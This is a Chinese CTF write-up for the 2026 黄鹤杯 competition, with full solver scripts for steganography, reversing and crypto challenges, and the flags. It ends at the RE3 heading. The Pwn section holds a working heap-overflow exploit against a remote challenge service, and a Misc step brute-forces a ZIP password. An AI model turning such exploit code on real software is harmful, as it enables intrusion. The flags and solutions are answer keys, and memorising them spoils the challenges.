2026 黄鹤杯 CTF 全方向 WriteUp 与解题思路
本文复现了 2026 黄鹤杯 CTF 竞赛中 AI、Misc、Pwn、Re、Web 及 Crypto 方向的题目解法。文章详细解析了 Unicode 隐写、堆 Stale Cap 越界、Spring 路径穿越及 RSA/Coppersmith 等关键技术点,并提供了完整的 Python 与 Sage
2026 黄鹤杯 WP
1. AI1 / 无声审稿
核心思路
附件是一份 AI 审稿备忘录,表面文本不是重点。真正数据藏在不可见 Unicode 通道中:
- Unicode Tag 字符:解出协议 manifest;
- Variation Selector:解出 nonce;
- 零宽字符:解出 GF(2) 线性方程组右端项。
根据 manifest 生成 512 行稀疏矩阵,在 GF(2) 上求解 336 个 bit,按 MSB-first 还原 42 字节 flag。
关键步骤
- 解压
无声审稿.zip,读取peer_review.txt。 - 从
[review-token]解出 manifest,从[style-token]解出 noncec6f13d0a9b7e42d18a5c60ef31b42877。 - 从
[margin-notes]还原 512 位 RHS。 - 用
sha256(b"spring-review:" + nonce_hex.encode()).digest()[:16]生成 seed,按 BLAKE2s 规则生成矩阵。 - 高斯消元得到唯一解并转成 flag。
复现
cd "D:\Users\Lenovo\Desktop\黄鹤杯\AI1"
python .\solve.pyFlag
flag{17b8bbaf-1e0d-4d40-8a22-8c39c6e58bb0}完整 EXP
D:\Users\Lenovo\Desktop\黄鹤杯\AI1\solve.py
from pathlib import Path
import hashlib
import re
import zipfile
N_BITS = 336
M_ROWS = 512
def read_review_text():
root = Path(__file__).resolve().parent
zips = sorted(root.glob("*.zip"))
if not zips:
raise FileNotFoundError("no challenge zip found")
with zipfile.ZipFile(zips[0]) as zf:
target = next(name for name in zf.namelist() if name.endswith("peer_review.txt"))
return zf.read(target).decode("utf-8")
def field(text, label):
match = re.search(rf"\[{re.escape(label)}\] (.*)", text)
if not match:
raise ValueError(f"missing [{label}]")
return match.group(1)
def decode_tag_ascii(data):
return "".join(
chr(ord(ch) - 0xE0000)
for ch in data
if 0xE0000 <= ord(ch) <= 0xE007F
)
def decode_nonce(data):
nibbles = [ord(ch) - 0xFE00 for ch in data if 0xFE00 <= ord(ch) <= 0xFE0F]
if len(nibbles) % 2:
raise ValueError("odd number of nonce nibbles")
return bytes((nibbles[i] << 4) | nibbles[i + 1] for i in range(0, len(nibbles), 2))
def decode_rhs(data):
rhs = []
for ch in data:
code = ord(ch)
if code == 0x2062:
rhs.append(0)
elif code == 0x2064:
rhs.append(1)
elif code == 0x200B:
continue
if len(rhs) != M_ROWS:
raise ValueError(f"unexpected rhs length: {len(rhs)}")
return rhs
def u32be(value):
return value.to_bytes(4, "big")
def u16be(value):
return value.to_bytes(2, "big")
def make_rows(seed):
rows = []
for i in range(M_ROWS):
degree = 3 + (hashlib.blake2s(seed + u32be(i)).digest()[0] % 14)
used = set()
indexes = []
counter = 0
while len(indexes) < degree:
digest = hashlib.blake2s(seed + u32be(i) + u16be(counter)).digest()
for off in range(0, len(digest) - 1, 2):
idx = int.from_bytes(digest[off : off + 2], "big") % N_BITS
if idx not in used:
used.add(idx)
indexes.append(idx)
if len(indexes) == degree:
break
counter += 1
mask = 0
for idx in indexes:
mask |= 1 << idx
rows.append(mask)
return rows
def solve_gf2(rows, rhs, n_bits):
matrix = [row | (bit << n_bits) for row, bit in zip(rows, rhs)]
pivot_row = 0
pivots = []
for col in range(n_bits):
pivot = None
col_bit = 1 << col
for row in range(pivot_row, len(matrix)):
if matrix[row] & col_bit:
pivot = row
break
if pivot is None:
continue
matrix[pivot_row], matrix[pivot] = matrix[pivot], matrix[pivot_row]
for row in range(len(matrix)):
if row != pivot_row and (matrix[row] & col_bit):
matrix[row] ^= matrix[pivot_row]
pivots.append(col)
pivot_row += 1
mask = (1 << n_bits) - 1
for row in range(pivot_row, len(matrix)):
if (matrix[row] & mask) == 0 and ((matrix[row] >> n_bits) & 1):
raise ValueError("linear system is inconsistent")
if len(pivots) != n_bits:
raise ValueError(f"linear system is not unique, rank={len(pivots)}")
bits = [0] * n_bits
for row, col in enumerate(pivots):
bits[col] = (matrix[row] >> n_bits) & 1
return bits
def bits_to_bytes(bits):
out = bytearray()
for off in range(0, len(bits), 8):
value = 0
for bit in bits[off : off + 8]:
value = (value << 1) | bit
out.append(value)
return bytes(out)
def main():
text = read_review_text()
manifest = decode_tag_ascii(field(text, "review-token"))
nonce = decode_nonce(field(text, "style-token"))
rhs = decode_rhs(field(text, "margin-notes"))
seed = hashlib.sha256(b"spring-review:" + nonce.hex().encode()).digest()[:16]
rows = make_rows(seed)
bits = solve_gf2(rows, rhs, N_BITS)
flag = bits_to_bytes(bits).decode()
print(manifest)
print(flag)
if __name__ == "__main__":
main()2. misc1 / 潮痕留声
题目描述
题目附件是一张看似普通的 PNG。题目提示强调“来时路”和“留声”,实际链路依次经过 PNG 元数据、AES 加密 ZIP、尾随 WAV、频谱字符表,以及另一张 PNG 中的通道迷宫。最终提交值为:
flag{60a8d749-3760-4560-8bc7-86f2faa7754d}分析过程
密码掩码与加密压缩包
先检查初始 data.png 的 PNG 元数据。XMP 的 exifEX:LensMake 字段不是相机型号,而是:
2026_????_CHB这是后续压缩包口令的固定前后缀。PNG 逻辑结束位置之后存在一段与图片渲染无关的二进制数据。该数据不是直接附加 ZIP,而是经过两层简单变换:先整体逆序,再对每个字节交换高、低 4 bit。恢复代码如下:
from pathlib import Path
blob = Path("data.png").read_bytes()
tail = blob[blob.find(b"IEND") + 8:]
restored = bytes(((value & 0x0F) << 4) | (value >> 4) for value in tail[::-1])
Path("payload.zip").write_bytes(restored)payload.zip 的本地文件头以 PK\x03\x04 开始,使用 method 99,extra field 为 0x9901,这是 WinZip AES 加密 ZIP;其中的文件名可见为 tide_trace.png。
因此可以将口令空间约束为:固定前缀 2026_、四个未知字符、固定后缀 _CHB。用ARCHPR掩码爆破 2026_????_CHB,命中口令为:
2026_D4fX_CHB用该口令解压后得到 tide_trace.png。
从 PNG 尾部恢复 WAV
tide_trace.png 的文件头正常以 PNG 签名开始,但不能直接被部分图像库打开。逐个读取 chunk 可以发现:PNG 的逻辑结尾是 IEND,而物理文件在其后仍保留 645,164 字节。该尾部以 RIFF 开始,直接保存为 WAV 即可。
from pathlib import Path
blob = Path("tide_trace.png").read_bytes()
iend_end = blob.find(b"IEND") + 8
Path("tide_trace_tail.wav").write_bytes(blob[iend_end:])得到的 WAV 参数为双声道、16-bit PCM、16,000 Hz、161,280 帧,时长 10.08 秒。它没有额外 RIFF chunk 或尾随数据,因此隐藏内容在采样本身。
频谱中的字符表
分别对左右声道做短时傅里叶变换。关键参数是 NFFT=2048、采样率 16,000、重叠 1,920;这使相邻帧仅前进 128 个采样点,可以保留字符轮廓。
import wave
from pathlib import Path
import numpy as np
import matplotlib.pyplot as plt
p = Path("tide_trace_tail.wav")
with wave.open(str(p), "rb") as wav:
samples = np.frombuffer(wav.readframes(wav.getnframes()), dtype="<i2").reshape(-1, 2)
for channel, name in enumerate(("left", "right")):
fig, ax = plt.subplots(figsize=(30, 10))
ax.specgram(samples[:, channel], NFFT=2048, Fs=16000, noverlap=1920,
cmap="magma", scale="dB")
ax.set_ylim(600, 8000)
ax.axis("off")
fig.subplots_adjust(0, 0, 1, 1)
fig.savefig(f"{name}.png", dpi=150)频谱中的字符相对标准阅读方向旋转。将输出旋转并做镜像后,可得到一个 6x6 的字符表。这里的“镜像”不能改变记录顺序:频谱横轴仍是音频的时间轴,原始顺序为左到右。这个字符表提供 UUID 的全部字符,但尚未给出正确排列。
原始频谱图如下:

对该图先旋转 180 度,再做一次水平镜像,得到可读的字符表:

修复图像尺寸并提取迷宫
tide_trace.png 的 IHDR 声称尺寸为 960 x 448。这会使图层图像在下边界被截断。不要直接相信 IHDR:将所有 IDAT 拼接并 zlib 解压后,扫描线长度为 1 + 960 * 4 = 3841 字节,总长度恰好为 960 行,即真实画布是 960 x 960。
同时,IHDR CRC 被故意写错。将高度改为 960 并重算 IHDR CRC 后,PNG 可以正常解码:
import zlib
from pathlib import Path
from PIL import Image
raw = bytearray(Path("tide_trace.png").read_bytes())
iend_end = raw.find(b"IEND") + 8
# IHDR data starts at offset 16: width occupies [16:20], height occupies [20:24].
raw[20:24] = (960).to_bytes(4, "big")
raw[29:33] = zlib.crc32(raw[12:29]).to_bytes(4, "big")
Path("tide_trace_960.png").write_bytes(raw[:iend_end])之所以检查图层不是凭空尝试异或。修复后先对 RGBA 四个通道做统计:Alpha 并非正常的单一 255,而是只在 254 和 255 间变化;Green 也只有很窄的离散取值范围。可见画面无法解释这种一位变化,而题目需要一条排序规则,因此应检查“通道对的低位差异”。
枚举 R^G、R^B、R^A、G^B、G^A、B^A 的各个位平面。除 G^A 的 bit 0 外,其余组合只保留场景纹理或随机噪声;G^A 的 bit 0 唯一形成连续、带起止标记的线条。这说明该组合是有意构造的隐藏层
import numpy as np
from PIL import Image
rgba = np.asarray(Image.open("tide_trace_960.png").convert("RGBA"))
maze = ((rgba[..., 1] ^ rgba[..., 3]) & 1) * 255
Image.fromarray(maze.astype("uint8")).save("maze.png")maze.png 显示完整迷宫。若继续使用伪造的 448 高度,只能看到上半部分,路径会在边界处中断。圆环为起点,箭头为终点;迷宫给出字符表的读取路径。
下面是伪造高度下的结果,显然只是一半的路径

修复高度后重复上述操作后得到完整路径

依迷宫重排并格式化 UUID
将频谱获得的 6x6 字符表放入对应网格。从圆环沿迷宫到箭头读取,所有字符都会被使用,得到连续结果:
60a8d749-3760-4560-8bc786f2faa7754d提交时加上题目要求的 flag{} 外壳:
flag{60a8d749-3760-4560-8bc7-86f2faa7754d}右下角部分可能存在歧义,根据歧义得到的结果中a跟f互换位置,两个结果都提交验证一下即可
3. MISC2 / 失序货栈
核心思路
外层 ZIP 中包含大量 BOX-*,每个内层 BOX 都是传统 ZipCrypto 加密 ZIP,密码就是编号。解开后得到带 data 和 crc32 的短片段。对短片段 Base32 解码,利用 CRC32 修复坏字节,再用 9 字节首尾重叠拼接成 zlib 流,解压得到 manifest 和 flag。
关键步骤
- 遍历外层
失序货栈.zip中的BOX-*。 - 对
BOX-04使用密码04,对BOX-127使用密码127,依此类推。 - 解析记录:
BOX-04 | data=... | crc32=42fd8f19- 保留长度为 48 的短 Base32 片段,Base32 解码后校验 CRC32。
- 对不匹配片段暴力修复 1 到 2 字节错误。
- 通过 9 字节重叠得到唯一链:
BOX-04 -> BOX-14 -> BOX-31 -> BOX-94 -> BOX-83 -> BOX-72 -> BOX-81 -> BOX-50 -> BOX-37 -> BOX-77 -> BOX-06 -> BOX-69 -> BOX-40 -> BOX-10 -> BOX-85 -> BOX-80 -> BOX-09 -> BOX-30 -> BOX-79 -> BOX-67 -> BOX-76 -> BOX-93 -> BOX-07 -> BOX-68 -> BOX-92 -> BOX-88 -> BOX-49- 拼接得到
78 da开头的 zlib 流,解压后 manifest 中出现:
final=flag{dffc94e8-0571-4e68-bbc3-f1534766f794}复现
cd "D:\Users\Lenovo\Desktop\黄鹤杯\MISC2"
python .\solve.pyFlag
flag{dffc94e8-0571-4e68-bbc3-f1534766f794}完整 EXP
D:\Users\Lenovo\Desktop\黄鹤杯\MISC2\solve.py
import base64
import io
import itertools
import re
import sys
import zipfile
import zlib
from pathlib import Path
ROOT = Path(__file__).resolve().parent
ZIP_PATH = ROOT / "失序货栈.zip"
OUT_DIR = ROOT / "solved"
OVERLAP = 9
def crc32(data: bytes) -> int:
return zlib.crc32(data) & 0xFFFFFFFF
def box_password(n: int) -> bytes:
return (f"{n:02d}" if n < 100 else f"{n:03d}").encode()
def load_records():
records = {}
with zipfile.ZipFile(ZIP_PATH) as outer:
for outer_info in outer.infolist():
if outer_info.is_dir():
continue
m = re.search(r"BOX-(\d+)$", outer_info.filename)
if not m:
continue
n = int(m.group(1))
with zipfile.ZipFile(io.BytesIO(outer.read(outer_info))) as inner:
plain = inner.read(inner.infolist()[0], pwd=box_password(n))
row = re.fullmatch(
rb"BOX-(\d+) \| data=([A-Z2-7=]+) \| crc32=([0-9a-f]{8})(?:\r?\n)?",
plain,
)
if not row:
raise ValueError(f"cannot parse BOX-{n:03d}")
records[n] = {
"data_text": row.group(2).decode(),
"crc": int(row.group(3), 16),
}
return records
def repair_fragment(data: bytearray, target_crc: int):
if crc32(data) == target_crc:
return bytes(data), []
for pos in range(len(data)):
old = data[pos]
for value in range(256):
if value == old:
continue
data[pos] = value
if crc32(data) == target_crc:
return bytes(data), [(pos, old, value)]
data[pos] = old
for pos1, pos2 in itertools.combinations(range(len(data)), 2):
old1, old2 = data[pos1], data[pos2]
for value1 in range(256):
if value1 == old1:
continue
data[pos1] = value1
for value2 in range(256):
if value2 == old2:
continue
data[pos2] = value2
if crc32(data) == target_crc:
return bytes(data), [(pos1, old1, value1), (pos2, old2, value2)]
data[pos2] = old2
data[pos1] = old1
raise ValueError("fragment repair failed")
def build_chain(fragments):
next_box = {}
incoming = {n: 0 for n in fragments}
for a, b in itertools.permutations(fragments, 2):
if fragments[a][-OVERLAP:] == fragments[b][:OVERLAP]:
next_box[a] = b
incoming[b] += 1
starts = [n for n, count in incoming.items() if count == 0]
if len(starts) != 1:
raise ValueError(f"expected one start, got {starts}")
chain = [starts[0]]
seen = {starts[0]}
while chain[-1] in next_box:
nxt = next_box[chain[-1]]
if nxt in seen:
raise ValueError("cycle in overlap chain")
chain.append(nxt)
seen.add(nxt)
if len(chain) != len(fragments):
raise ValueError(f"incomplete chain: {len(chain)} / {len(fragments)}")
return chain
def main():
records = load_records()
fragments = {}
repairs = {}
for n, record in records.items():
# The manifest fragments are the short base32 crates. Long crates fail
# their own CRC and are not part of the recovered belt.
if len(record["data_text"]) != 48:
continue
repaired, changes = repair_fragment(
bytearray(base64.b32decode(record["data_text"])),
record["crc"],
)
fragments[n] = repaired
if changes:
repairs[n] = changes
chain = build_chain(fragments)
stream = bytearray(fragments[chain[0]])
for n in chain[1:]:
stream.extend(fragments[n][OVERLAP:])
manifest = zlib.decompress(bytes(stream))
flag = re.search(rb"flag\{[^}]+\}", manifest)
if not flag:
raise ValueError("flag not found")
OUT_DIR.mkdir(exist_ok=True)
(OUT_DIR / "recovered_stream.zlib").write_bytes(stream)
(OUT_DIR / "manifest.txt").write_bytes(manifest)
print("chain:", " -> ".join(f"BOX-{n:02d}" for n in chain))
print("repairs:")
for n, changes in sorted(repairs.items()):
print(f" BOX-{n:02d}: {changes}")
print("flag:", flag.group(0).decode())
if __name__ == "__main__":
try:
main()
except Exception as exc:
print(f"error: {exc}", file=sys.stderr)
raise4. PWN / A-C
核心思路
这是菜单型堆题。pack 会把 note 的 data 重新压缩并分配到更小 chunk,但 note 结构体中的 cap 没有同步更新,形成 stale cap。后续 show/edit 仍按旧 cap 读写,造成堆越界,最终覆盖相邻 note 结构体并修改全局 archive 的退出函数指针。
目标函数指针:
close_archive = PIE + 0x1311
dump_flag = PIE + 0x1330只需把最低 1 字节从 0x11 改成 0x30,退出菜单时就会调用 dump_flag(archive) 读取 ./flag。
关键步骤
- 创建 0 号 note,申请
0x700大小并写入重复数据。 - 对 0 号 note 执行
pack,data 缩小但 cap 保持0x700。 - 创建 1 号 note,标题写入
NOTE1_MARK。 show(0)越界泄露,在泄露中搜索NOTE1_MARK,定位 1 号 note 结构体。- 用
edit(0)越界改写 1 号 note 的data/cap/len,读 heap 页并搜索./flag\x00,定位 archive。 - 将 1 号 note 的 data 指向
archive + 0x40,通过edit(1, b"\x30")改函数指针最低字节。 - 选择 quit,触发
dump_flag。
复现
远程带 4 位大写字母 MD5 POW,脚本自动爆破:
wsl -e sh -lc "cd /mnt/d/Users/Lenovo/Desktop/黄鹤杯/PWN/A-C && python3 exp.py 119.36.240.223 40218"本地验证:
wsl -e sh -lc "cd /mnt/d/Users/Lenovo/Desktop/黄鹤杯/PWN/A-C && echo LOCAL_FLAG_TEST > flag && python3 exp.py A-C; rm -f flag"Flag
flag{64d1ead3-bb83-43da-b482-0128bb459f5c}完整 EXP
D:\Users\Lenovo\Desktop\黄鹤杯\PWN\A-C\exp.py
#!/usr/bin/env python3
from pwn import *
import hashlib
import itertools
import string
import sys
context(os='linux', arch='amd64', log_level='info')
file_name = './A-C'
note1_title = b'NOTE1_MARK'
flag_path = b'./flag\x00'
def solve_pow(io):
data = io.recvuntil(b'Enter the missing 4 uppercase letters: ', timeout=3)
if b'Token:' not in data:
return data
token = data.split(b'Token: ')[1].split(b'\n')[0].decode()
md5 = data.split(b'MD5: ')[1].split(b'\n')[0].decode()
for x in itertools.product(string.ascii_uppercase, repeat=4):
fill = ''.join(x)
full = token.replace('____', fill)
if hashlib.md5(full.encode()).hexdigest() == md5:
io.sendline(fill.encode())
return
raise RuntimeError('pow failed')
def menu(io, idx):
io.recvuntil(b'>')
io.sendline(str(idx).encode())
def create(io, idx, title, reserve, data):
menu(io, 1)
io.recvuntil(b'index:')
io.sendline(str(idx).encode())
io.recvuntil(b'title:')
io.sendline(title)
io.recvuntil(b'reserve:')
io.sendline(str(reserve).encode())
io.recvuntil(b'length:')
io.sendline(str(len(data)).encode())
io.recvuntil(b'hex data:')
io.sendline(data.hex().encode())
io.recvuntil(b'ok')
def edit(io, idx, data):
menu(io, 2)
io.recvuntil(b'index:')
io.sendline(str(idx).encode())
io.recvuntil(b'length:')
io.sendline(str(len(data)).encode())
io.recvuntil(b'hex data:')
io.sendline(data.hex().encode())
io.recvuntil(b'ok')
def show(io, idx):
menu(io, 3)
io.recvuntil(b'index:')
io.sendline(str(idx).encode())
return io.recvuntil(b'1. create')
def pack_note(io, idx):
menu(io, 4)
io.recvuntil(b'index:')
io.sendline(str(idx).encode())
io.recvuntil(b'packed')
def get_hex(data):
for line in data.split(b'\n'):
line = line.strip()
if len(line) > 0x100 and all(c in b'0123456789abcdef' for c in line):
return bytes.fromhex(line.decode())
raise RuntimeError('leak failed')
def pwn1(io):
# pack shrinks data0 to 1 byte, but note0 cap is still the old usable size.
create(io, 0, b'A', 0x700, b'B' * 0x700)
pack_note(io, 0)
# show(0) overreads into note1; find note1 by its title instead of fixed offsets.
create(io, 1, note1_title, 0x20, b'D')
leak = get_hex(show(io, 0))
note1_off = leak.index(note1_title) - 0x18
data1 = u64(leak[note1_off + 0x10:note1_off + 0x18])
success('data1 = ' + hex(data1))
success('note1 = data0 + ' + hex(note1_off))
return note1_off, data1
def set_note1(io, note1_off, data, cap):
# Rewrite note1 fields through note0's stale cap overrun.
payload = flat({
note1_off: p64(cap),
note1_off + 0x8: p64(cap),
note1_off + 0x10: p64(data),
note1_off + 0x18: note1_title + b'\x00',
}, filler=b'B')
edit(io, 0, payload)
def pwn2(io, note1_off, data1):
# Point note1 to the current heap page and find archive by the original "./flag".
page = data1 & ~0xfff
set_note1(io, note1_off, page, 0x1000)
leak = get_hex(show(io, 1))
archive = page + leak.index(b'./flag\x00')
success('archive = ' + hex(archive))
# If remote keeps the flag at /flag, rewrite archive path before calling dump_flag.
if flag_path != b'./flag\x00':
set_note1(io, note1_off, archive, 0x20)
edit(io, 1, flag_path)
# close_func is PIE+0x1311 and dump_flag is PIE+0x1330; only the low byte changes.
set_note1(io, note1_off, archive + 0x40, 8)
edit(io, 1, b'\x30')
def pwn3(io):
menu(io, 6)
io.recvline()
print(io.recvall(timeout=2).decode(errors='ignore'))
def exp():
global file_name
global flag_path
if len(sys.argv) >= 3 and sys.argv[2].isdigit():
if len(sys.argv) >= 4:
flag_path = sys.argv[3].encode() + b'\x00'
io = remote(sys.argv[1], int(sys.argv[2]))
solve_pow(io)
else:
if len(sys.argv) == 2:
file_name = sys.argv[1]
if not file_name.startswith(('/', './', '../')):
file_name = './' + file_name
if len(sys.argv) >= 3:
file_name = sys.argv[1]
if not file_name.startswith(('/', './', '../')):
file_name = './' + file_name
flag_path = sys.argv[2].encode() + b'\x00'
io = process(file_name)
note1_off, data1 = pwn1(io)
pwn2(io, note1_off, data1)
pwn3(io)
if __name__ == '__main__':
exp()5. RE1 / 春风栈桥
核心思路
附件是 Linux x86-64 ELF,先用 UPX 打包。脱壳后主体是 VM 校验器。程序对输入做格式检查、滚动 hash、VM 状态转移检查和 pair check。VM 字节码结构固定,可以从目标表逐字符反推 flag。
关键步骤
strings challenge可见UPX!和== springwind vm ==。- 程序运行时自解压到匿名映射,使用 gdb 在读入前 dump 内存得到
re1_unpacked_5pages.bin。 main检查长度 42、前缀flag{、后缀}。- VM opcode:
1: mov reg, imm32
2: load reg, input[idx]
3: xor reg, imm8
4: xor reg, reg
5: rol reg, imm8
6: add reg, imm32
7: cmp reg, target[idx]
8: halt- 每个字符对应:
R1 = input[i]
R1 ^= key_i
R0 ^= R1
R0 = rol32(R0, rot_i)
R0 += add_i
assert R0 == target[i]反推:
input[i] = ror32(target[i] - add_i, rot_i) ^ previous_R0 ^ key_i- 最后用滚动 hash 和 pair check 复核。
复现
cd "D:\Users\Lenovo\Desktop\黄鹤杯\RE1"
python .\solve_re1.pyFlag
flag{d8c9e14d-4acb-43e5-a709-bbe8983eef63}完整 EXP
D:\Users\Lenovo\Desktop\黄鹤杯\RE1\solve_re1.py
from pathlib import Path
import struct
ROOT = Path(__file__).resolve().parent
BIN = ROOT / "re1_unpacked_5pages.bin"
def u32(x):
return x & 0xFFFFFFFF
def rol32(x, n):
x &= 0xFFFFFFFF
return ((x << n) | (x >> (32 - n))) & 0xFFFFFFFF
def ror32(x, n):
x &= 0xFFFFFFFF
return ((x >> n) | (x << (32 - n))) & 0xFFFFFFFF
def rol8(x, n):
x &= 0xFF
return ((x << n) | (x >> (8 - n))) & 0xFF
def parse_vm(code):
pc = 0
ops = []
while pc < len(code):
op = code[pc]
pc += 1
if op == 1:
reg = code[pc]
imm = struct.unpack_from("<I", code, pc + 1)[0]
pc += 5
ops.append(("mov", reg, imm))
elif op == 2:
reg = code[pc]
idx = code[pc + 1]
pc += 2
ops.append(("load", reg, idx))
elif op == 3:
reg = code[pc]
imm = code[pc + 1]
pc += 2
ops.append(("xor_imm", reg, imm))
elif op == 4:
dst = code[pc]
src = code[pc + 1]
pc += 2
ops.append(("xor_reg", dst, src))
elif op == 5:
reg = code[pc]
imm = code[pc + 1] & 31
pc += 2
ops.append(("rol", reg, imm))
elif op == 6:
reg = code[pc]
imm = struct.unpack_from("<I", code, pc + 1)[0]
pc += 5
ops.append(("add", reg, imm))
elif op == 7:
reg = code[pc]
idx = code[pc + 1]
pc += 2
ops.append(("cmp", reg, idx))
elif op == 8:
ops.append(("halt",))
break
else:
raise ValueError(f"bad opcode {op:#x} at {pc - 1:#x}")
return ops
def hash_check(flag):
a = 0x13579BDF
b = 0x2468ACE0
c = 0xDEADBEEF
d = 0x10203040
for i, ch in enumerate(flag):
x = (ch + i * 17) & 0xFF
a = u32(rol32(a ^ x, 3) - 0x61C88647)
b = u32(rol32(b + (x ^ a), 5) ^ 0x85EBCA6B)
c = u32((c ^ rol32(b + x, 7)) - 0x3D4D51CB)
d = u32(rol32(d + ((x * 0x45) ^ c), 11) ^ a)
return (a, b, c, d) == (0x68D0B035, 0x7A59150E, 0xE80F58EF, 0xFA013155)
def pair_check(flag, pair_targets):
for i in range(21):
a = flag[2 * i]
b = rol8(flag[2 * i + 1], i % 7 + 1)
value = (((a << 8) + a) ^ ((b << 4) + b) ^ (26 * i) ^ 0x5AA5) & 0xFFFF
if value != pair_targets[i]:
return False
return True
def main():
data = BIN.read_bytes()
targets = list(struct.unpack_from("<42I", data, 0x2040))
pair_targets = list(struct.unpack_from("<21H", data, 0x2100))
code = data[0x2140 : 0x2140 + 0x379]
ops = parse_vm(code)
assert ops[0][0] == "mov" and ops[0][1] == 0
state = ops[0][2]
flag = []
pc = 1
for i in range(42):
load, xor_imm, xor_reg, rot, add, cmp = ops[pc : pc + 6]
pc += 6
assert load == ("load", 1, i)
assert xor_reg == ("xor_reg", 0, 1)
assert cmp == ("cmp", 0, i)
key = xor_imm[2]
shift = rot[2]
addend = add[2]
ch = ror32(u32(targets[i] - addend), shift) ^ state ^ key
flag.append(ch & 0xFF)
state = targets[i]
flag = bytes(flag)
assert flag.startswith(b"flag{") and flag.endswith(b"}")
assert hash_check(flag)
assert pair_check(flag, pair_targets)
print(flag.decode())
if __name__ == "__main__":
main()6. RE2 / 墨烬残页
核心思路
附件包含 Go x64 程序 ink_ashes.exe 和数据文件 paper.bin。程序运行时会破坏 paper.bin,并且不直接打印 flag,所以需要静态还原数据。核心是解析 paper.bin 的多层结构,解 RC4-like 控制块,再解一个改造 XXTEA。
关键步骤
paper.bin头部结构:
magic = PAPR
version = 0x20260404
size = 198
seed = 0x31415926
sentinel = 0x5A17C4D2- 对
paper[20:]做 XOR/ROL 解包:
decoded[i] = paper[20+i] ^ key_byte ^ ((9 * i + 65) & 0xff)- 切分:
keyObf = decoded[0:22]
pageOdd = decoded[22:38]
pageEven = decoded[38:54]
leafA = decoded[54:126]
leafB = decoded[126:198]p0解出 key:
paper-window::cold-inkp1交错pageOdd/pageEven,p2解出控制块,开头为CF4!。- 从控制块派生改造 XXTEA 的
key4 / delta / salt。 p3合并密文 DWORD:
note[i] = leafA[i] ^ rol32(leafB[i], (i % 5) + 1)p5的正确生成端公式是:
(R + key_mix) ^ shift_mix而不是反编译中容易误读的:
R + (key_mix ^ shift_mix)- 解密得到:
flag{da0c4814-a079-44c6-aec1-3178130c1052}|mode=static-only|trail=paper复现
cd "D:\Users\Lenovo\Desktop\黄鹤杯\RE2"
python .\solve_re2.pyFlag
flag{da0c4814-a079-44c6-aec1-3178130c1052}完整 EXP
D:\Users\Lenovo\Desktop\黄鹤杯\RE2\solve_re2.py
from pathlib import Path
import struct
import sys
ROOT = Path(__file__).resolve().parent
PAPER = ROOT / "\u58a8\u70ec\u6b8b\u9875" / "paper.bin"
def u32(x):
return x & 0xFFFFFFFF
def rol32(x, n):
n &= 31
x &= 0xFFFFFFFF
return ((x << n) | (x >> (32 - n))) & 0xFFFFFFFF
def p0(data):
return bytes(b ^ ((7 * i + 51) & 0xFF) for i, b in enumerate(data))
def p1(left, right):
out = bytearray()
n = min(len(left), len(right))
for i in range(n):
out.append(left[i])
out.append(right[i])
out.extend(left[n:])
out.extend(right[n:])
return bytes(out)
def p2(data, key):
s = list(range(256))
j = 0
for i in range(256):
si = s[i]
j = (((i >> 1) ^ (7 * i)) + si + j + key[i % len(key)]) & 0xFF
s[i], s[j] = s[j], si
out = bytearray(len(data))
a = 0
j = 0
for i, c in enumerate(data):
idx = (a + (key[i % len(key)] & 3) + 1) & 0xFF
si = s[idx]
j = (si + j + key[(5 * i + 3) % len(key)]) & 0xFF
s[idx], s[j] = s[j], si
out[i] = s[(i + si + s[idx]) & 0xFF] ^ ((13 * i + 90) & 0xFF) ^ c
a = idx
return bytes(out)
def p3(left, right):
return [u32(a ^ rol32(b, (i % 5) + 1)) for i, (a, b) in enumerate(zip(left, right))]
def p5(sumv, y, z, p, e, salt, key):
idx = (p & 3) ^ e
key_mix = u32((sumv ^ y) + (z ^ key[idx]))
shift_mix = u32(((z >> 5) ^ u32(y << 2)) + ((y >> 3) ^ u32(z << 4)))
r = salt ^ rol32(sumv, p + e)
return u32(u32(r + key_mix) ^ shift_mix)
def p4_decrypt(data, delta, salt, key):
v = [u32(x) for x in data]
n = len(v)
sumv = u32(delta * (52 // n + 6))
y = v[0]
while sumv:
e = (sumv >> 2) & 3
for p in range(n - 1, 0, -1):
z = v[p - 1]
y = v[p] = u32(v[p] - p5(sumv, y, z, p, e, salt, key))
z = v[-1]
y = v[0] = u32(v[0] - p5(sumv, y, z, 0, e, salt, key))
sumv = u32(sumv - delta)
return b"".join(struct.pack("<I", x) for x in v).rstrip(b"\0")
def p4_encrypt(data, delta, salt, key):
v = [u32(x) for x in data]
n = len(v)
sumv = 0
z = v[-1]
for _ in range(52 // n + 6):
sumv = u32(sumv + delta)
e = (sumv >> 2) & 3
for p in range(n - 1):
y = v[p + 1]
z = v[p] = u32(v[p] + p5(sumv, y, z, p, e, salt, key))
y = v[0]
z = v[-1] = u32(v[-1] + p5(sumv, y, z, n - 1, e, salt, key))
return v
def main():
paper_path = Path(sys.argv[1]) if len(sys.argv) > 1 else PAPER
paper = paper_path.read_bytes()
if len(paper) != 218:
raise SystemExit("paper.bin was overwritten; re-extract the challenge zip first")
assert paper[:4] == b"PAPR"
assert struct.unpack_from("<I", paper, 4)[0] == 0x20260404
assert struct.unpack_from("<I", paper, 8)[0] == 198
seed = struct.unpack_from("<I", paper, 12)[0]
assert struct.unpack_from("<I", paper, 16)[0] == 0x5A17C4D2
decoded = bytearray()
for i, b in enumerate(paper[20:]):
key_byte = (rol32(seed, i % 31) >> (8 * (i % 4))) & 0xFF
decoded.append(b ^ key_byte ^ ((9 * i + 65) & 0xFF))
key = p0(decoded[:22])
control = p2(p1(decoded[22:38], decoded[38:54]), key)
assert control[:4] == b"CF4!"
control_words = list(struct.unpack("<8I", control))
tail = control_words[7]
xxtea_key = [control_words[i + 1] ^ rol32(tail, 5 * i + 1) for i in range(4)]
delta = control_words[5] ^ 0x9E3779B9
salt = control_words[6]
leaf_a = [struct.unpack_from("<I", decoded, 54 + 4 * i)[0] for i in range(18)]
leaf_b = [struct.unpack_from("<I", decoded, 126 + 4 * i)[0] for i in range(18)]
note = p3(leaf_a, leaf_b)
plain = p4_decrypt(note, delta, salt, xxtea_key)
plain_words = list(struct.unpack("<18I", plain.ljust(72, b"\0")))
assert p4_encrypt(plain_words, delta, salt, xxtea_key) == note
text = plain.decode("ascii")
flag = text.split("|", 1)[0]
print(f"plaintext : {text}")
print(f"FLAG : {flag}")
if __name__ == "__main__":
main()7. RE3 / 云栈密令
核心思路
